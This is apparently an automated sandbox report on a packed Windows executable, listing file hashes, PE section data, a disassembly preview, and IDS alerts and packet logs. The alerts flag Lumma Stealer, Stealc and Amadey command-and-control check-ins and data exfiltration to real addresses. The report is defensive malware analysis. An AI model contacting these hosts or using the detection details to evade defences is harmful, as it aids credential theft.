SHA-512:	9850E2767AB6CBA0AF6801AB3FFDCCAF65BF6CA7163EF75429ADB024F46EA6A25F94AEF469D7AA6F5E7E39865B1C7DCCB49A0FFAA4D6041CA47FD25E4F59B869
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	174954
Entropy (8bit):	5.550148947243928
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGha9VMRWInJ+LBIwK555ypuq/dP/JlpNMWzeAxaPIa:eKR1tw+9+i7GFhJcha/MRWIJ+LBIwK5n
MD5:	8DF81901713526C08F170352ACB79008
SHA1:	E1E30358A27E0A475AD0576FC9AE389FD95B49BB
SHA-256:	681F8E5F962B4D48083A1313B3B7978E6906B9C526AA488A4B42EA1EA97B8358
SHA-512:	E82BB4618D69A9F95EF7CDBAA380C34563725803F326F572FCE88E30F51577E75B1D701D86EE63E273A7D65A8ACDDA601FBB83EE079080634CBBE2B3B583A14A
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.942882300891732
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'818'112 bytes
MD5:	426c4cc5cc662dbf06c9232c69e5d989
SHA1:	66ef4347c88c6f9e42f6fadcd8bc241c3ebff11c
SHA256:	69877dd837ed30807eb6255dd96d4031f1473a677decb52b023e260c1d7aa851
SHA512:	e61545a5c91201fb1a374dfa4f0265e28b0a366ba300e427f5e60d8d745ac94013086d1fb6861f41f9396d4c09c7fff5623d7b8d30831a64b42379250bd5a1c7
SSDEEP:	49152:RsJFCqqCvm5VVkiReGqna8/tTCaU5C1jpPk:1qqCvm7VkU8Z/tTCamMP
TLSH:	DF8533E36AB50954FE224136137B0352330E17ADBC2789396434E918FA6F542ADDDB7C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa96000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2FD052226Ah
setl byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	9ea9a5a83350cc037d3d254c89b1963b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	fe8d8f5effc72ff7ebbcd0fa028b4487	False	0.576171875	data	4.532154340535573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a7000	0x200	8265a0138e948b26b39afd09705b77eb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zmdmrpym	0x4f3000	0x1a2000	0x1a1800	b1e5479eb65fd1534e6f46ef5a2acb03	False	0.9945049354416168	data	7.952281714471805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
skpffbqx	0x695000	0x1000	0x600	0df490fc4510cd9bfb4d64d0ad06eb08	False	0.5677083333333334	data	4.943805093896075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x696000	0x3000	0x2200	a6967ff30e5b662693dd5888922e2604	False	0.06295955882352941	DOS executable (COM)	0.7706757894686344	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x694600	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-09T15:28:49.203567+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49995	172.67.165.166	443	TCP
2024-12-09T15:28:49.203567+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49995	172.67.165.166	443	TCP
2024-12-09T15:28:58.402557+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:28:58.863787+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:28:58.984422+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-09T15:28:59.309963+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:28:59.433476+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-09T15:29:00.732991+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:29:01.925915+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-09T15:29:29.313716+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:31.238543+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:32.537985+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:33.642756+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:37.308537+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:38.215133+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49767	185.215.113.206	80	TCP
2024-12-09T15:29:43.711227+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49805	185.215.113.16	80	TCP
2024-12-09T15:30:06.533937+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49854	185.215.113.43	80	TCP
2024-12-09T15:30:11.030805+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49866	31.41.244.11	80	TCP
2024-12-09T15:30:29.548701+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49860	TCP
2024-12-09T15:30:30.894008+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49912	185.215.113.43	80	TCP
2024-12-09T15:30:32.525118+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49917	31.41.244.11	80	TCP
2024-12-09T15:30:39.389717+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49933	185.215.113.43	80	TCP
2024-12-09T15:30:41.016802+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49938	185.215.113.16	80	TCP
2024-12-09T15:30:46.624832+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.5	58434	1.1.1.1	53	UDP
2024-12-09T15:30:47.954599+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49954	185.215.113.43	80	TCP
2024-12-09T15:30:48.015789+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:48.015789+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:48.912419+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:48.912419+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49956	172.67.165.166	443	TCP
2024-12-09T15:30:49.433675+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49958	185.215.113.16	80	TCP
2024-12-09T15:30:50.198808+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:30:50.198808+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:30:51.199345+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:30:51.199345+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49962	172.67.165.166	443	TCP
2024-12-09T15:30:52.908331+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49967	172.67.165.166	443	TCP
2024-12-09T15:30:52.908331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49967	172.67.165.166	443	TCP
2024-12-09T15:30:53.875106+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49967	172.67.165.166	443	TCP
2024-12-09T15:30:56.354907+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49976	172.67.165.166	443	TCP
2024-12-09T15:30:56.354907+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49976	172.67.165.166	443	TCP
2024-12-09T15:30:56.574064+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49973	185.215.113.43	80	TCP
2024-12-09T15:30:58.033179+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49979	185.215.113.16	80	TCP
2024-12-09T15:30:58.309443+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49978	185.215.113.206	80	TCP
2024-12-09T15:30:59.459813+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49984	172.67.165.166	443	TCP
2024-12-09T15:30:59.459813+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49984	172.67.165.166	443	TCP
2024-12-09T15:31:02.839290+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49989	172.67.165.166	443	TCP
2024-12-09T15:31:02.839290+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49989	172.67.165.166	443	TCP
2024-12-09T15:31:03.577151+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49989	172.67.165.166	443	TCP
2024-12-09T15:31:03.577151+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49989	172.67.165.166	443	TCP
2024-12-09T15:31:05.832388+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49995	172.67.165.166	443	TCP
2024-12-09T15:31:05.832388+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49995	172.67.165.166	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 15:28:49.203567028 CET	49674	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:28:49.203572989 CET	49675	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:28:49.328561068 CET	49673	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:28:56.475594997 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:56.595185995 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:56.595380068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:56.595577002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:56.714965105 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:57.939379930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:57.939464092 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:57.943423033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:58.064788103 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:58.402486086 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:58.402556896 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:58.417803049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:58.538285971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:58.813014030 CET	49674	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:28:58.813023090 CET	49675	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:28:58.863502026 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:58.863786936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:58.863812923 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:58.863864899 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:58.865027905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:58.937932014 CET	49673	443	192.168.2.5	23.1.237.91
Dec 9, 2024 15:28:58.984421968 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.309695005 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.309942007 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.309959888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.309962988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.310044050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.311306000 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.311371088 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.312103033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.312115908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.312155962 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.313743114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.433475971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.757426977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.757478952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.773195982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.773240089 CET	49704	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:28:59.892651081 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.892677069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.892685890 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.892752886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.892792940 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:28:59.892903090 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:00.732882023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:00.732990980 CET	49704	80	192.168.2.5	185.215.113.206
